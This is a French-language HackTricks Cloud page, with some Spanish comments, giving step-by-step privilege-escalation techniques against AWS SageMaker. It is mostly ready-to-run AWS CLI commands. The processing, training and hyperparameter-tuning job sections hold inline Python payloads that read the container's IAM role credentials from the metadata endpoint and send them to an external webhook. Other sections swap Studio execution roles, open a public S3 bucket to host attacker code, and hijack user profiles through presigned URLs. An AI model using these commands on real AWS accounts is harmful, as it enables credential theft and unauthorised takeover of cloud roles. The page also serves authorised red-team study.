AWS - Sagemaker Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Commencez par créer un notebook avec le rôle IAM attaché :
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
La réponse doit contenir un champ NotebookInstanceArn, qui contiendra l’ARN de la notebook instance nouvellement créée. Nous pouvons ensuite utiliser l’API create-presigned-notebook-instance-url pour générer une URL que nous pourrons utiliser pour accéder à la notebook instance une fois qu’elle sera prête :
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Naviguez vers l’URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut à droite, puis faites défiler jusqu’à l’onglet “Launcher” et, dans la section “Other”, cliquez sur le bouton “Terminal”.
Il est maintenant possible d’accéder aux metadata credentials du IAM Role.
Impact potentiel : Privesc to the sagemaker service role specified.
sagemaker:CreatePresignedNotebookInstanceUrl
Si des Jupyter notebooks sont déjà en cours d’exécution dessus et que vous pouvez les lister avec sagemaker:ListNotebookInstances (ou les découvrir d’une autre manière). Vous pouvez générer une URL pour eux, y accéder, et voler les credentials comme indiqué dans la technique précédente.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Impact potentiel : Privesc vers le rôle de service sagemaker attaché.
sagemaker:CreatePresignedDomainUrl
Warning
Cette attaque ne fonctionne que sur les anciens domaines traditionnels SageMaker Studio, pas sur ceux créés par SageMaker Unified Studio. Les domaines provenant de Unified Studio renverront l’erreur : “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
Une identité disposant de l’autorisation d’appeler sagemaker:CreatePresignedDomainUrl sur un UserProfile cible peut générer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela donne au navigateur de l’attaquant une session Studio qui hérite des permissions du ExecutionRole du profil et un accès complet au répertoire personnel du profil monté sur EFS et à ses applications. Aucune iam:PassRole ni accès console n’est requis.
Exigences:
- Un SageMaker Studio
Domainet unUserProfilecible à l’intérieur de celui-ci. - Le principal attaquant a besoin de
sagemaker:CreatePresignedDomainUrlsur leUserProfilecible (au niveau ressource) ou*.
Exemple minimal de policy (restreinte à un seul UserProfile) :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Étapes d’abus:
- Enumerate un Studio Domain et des UserProfiles que vous pouvez cibler
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Vérifiez que unified studio n’est pas utilisé (attack fonctionne uniquement sur les domaines SageMaker Studio traditionnels)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Générer une presigned URL (valide ~5 minutes par défaut)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Ouvrez l’URL renvoyée dans un navigateur pour vous connecter à Studio en tant qu’utilisateur cible. Dans un terminal Jupyter à l’intérieur de Studio, vérifiez l’identité effective ou exfiltrate the token:
aws sts get-caller-identity
Notes:
--landing-uripeut être omis. Certaines valeurs (par ex.,app:JupyterLab:/lab) peuvent être rejetées selon la flavor/version de Studio ; les valeurs par défaut redirigent généralement vers la page d’accueil de Studio puis vers Jupyter.- Les politiques d’entreprise/restrictions des endpoints VPC peuvent toujours bloquer l’accès réseau ; l’émission du token ne nécessite pas de connexion à la console ni
iam:PassRole.
Impact potentiel : Mouvement latéral et escalade de privilèges en assumant n’importe quel Studio UserProfile dont l’ARN est autorisé, en héritant de son ExecutionRole et de son système de fichiers/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Une identité ayant la permission d’appeler sagemaker:CreatePresignedMlflowTrackingServerUrl (et sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments pour l’accès ultérieur) pour une cible SageMaker MLflow Tracking Server peut générer une URL présignée à usage unique qui authentifie directement l’utilisateur auprès de l’UI gérée MLflow pour ce serveur. Cela accorde le même accès qu’un utilisateur légitime (voir/créer des experiments et des runs, et télécharger/téléverser des artifacts dans le magasin d’artifacts S3 du serveur).
Prérequis :
- Un SageMaker MLflow Tracking Server dans le compte/région et son nom.
- Le principal attaquant doit avoir
sagemaker:CreatePresignedMlflowTrackingServerUrlsur la ressource MLflow Tracking Server cible (ou*).
Étapes d’abus :
- Énumérez les MLflow Tracking Servers que vous pouvez cibler et choisissez-en un nom
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Générer une URL MLflow UI pré-signée (valide pendant une courte période)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Ouvrez l’URL retournée dans un navigateur pour accéder à la MLflow UI en tant qu’utilisateur authentifié pour ce Tracking Server.
Impact potentiel : Accès direct à la MLflow UI gérée pour le Tracking Server ciblé, permettant la consultation et la modification des expériences/exécutions et la récupération ou le téléversement d’artefacts stockés dans le S3 artifact store configuré du serveur, dans les limites des permissions appliquées par la configuration du serveur.
sagemaker:CreateProcessingJob, iam:PassRole
Un attaquant disposant de ces permissions peut faire en sorte que SageMaker exécute un processing job avec un rôle SageMaker attaché. En réutilisant l’un des AWS Deep Learning Containers qui incluent déjà Python (et en exécutant le job dans la même région que l’URI), il peut lancer du code en ligne sans construire ses propres images :
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Impact potentiel : Privesc vers le sagemaker service role spécifié.
sagemaker:CreateTrainingJob, iam:PassRole
Un attaquant disposant de ces permissions peut lancer un training job qui exécute du code arbitraire avec le rôle indiqué. En utilisant un conteneur officiel de SageMaker et en écrasant l’entrypoint avec un payload inline, vous n’avez pas besoin de construire vos propres images :
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Impact potentiel : Privesc vers le rôle de service SageMaker spécifié.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Un attacker disposant de ces permissions peut lancer un HyperParameter Tuning Job qui exécute du code contrôlé par l’attacker sous le rôle fourni. Le mode script nécessite d’héberger le payload dans S3, mais toutes les étapes peuvent être automatisées depuis la CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Avec l’autorisation de mettre à jour un SageMaker Studio User Profile, de créer une app, une URL présignée vers l’app et iam:PassRole, un attaquant peut définir le ExecutionRole sur n’importe quel rôle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s’exécuteront avec le rôle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
Warning
Cette attaque nécessite qu’il n’y ait aucune application dans le profil, sinon la création de l’app échouera avec une erreur similaire à :
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.S’il existe des applications, vous aurez besoin de la permissionsagemaker:DeleteApppour les supprimer d’abord.
Étapes:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Impact potentiel : Élévation de privilèges aux permissions du rôle d’exécution SageMaker spécifié pour les sessions Studio interactives.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Avec les permissions permettant de mettre à jour un SageMaker Studio Domain, de créer une app, une URL présignée pour l’app, et iam:PassRole, un attaquant peut définir le ExecutionRole par défaut du domaine sur n’importe quel rôle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s’exécuteront avec le rôle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
Warning
Cette attaque nécessite qu’il n’y ait aucune application dans le domaine, sinon la création de l’app échouera avec l’erreur :
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Étapes:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Impact potentiel : Escalade de privilèges vers les autorisations du rôle d’exécution SageMaker spécifié pour les sessions interactives de Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Un attaquant disposant de l’autorisation de créer une app SageMaker Studio pour un UserProfile ciblé peut lancer une JupyterServer app qui s’exécute avec le ExecutionRole du profil. Cela fournit un accès interactif aux autorisations du rôle via les terminaux Jupyter ou les jobs lancés depuis Studio.
Étapes :
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Impact potentiel: Accès interactif au rôle d’exécution SageMaker attaché au UserProfile cible.
iam:GetUser, datazone:CreateUserProfile
Un attaquant disposant de ces permissions peut permettre à un IAM user d’accéder à un Sagemaker Unified Studio Domain en créant un DataZone User Profile pour cet utilisateur.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
L’URL du Unified Domain a le format suivant : https://<domain-id>.sagemaker.<region>.on.aws/ (p. ex. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Impact potentiel : Accès au Sagemaker Unified Studio Domain en tant qu’utilisateur, permettant d’accéder à toutes les ressources du domaine Sagemaker et même d’escalader les privilèges vers le rôle utilisé par les notebooks présents dans le Sagemaker Unified Studio Domain.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

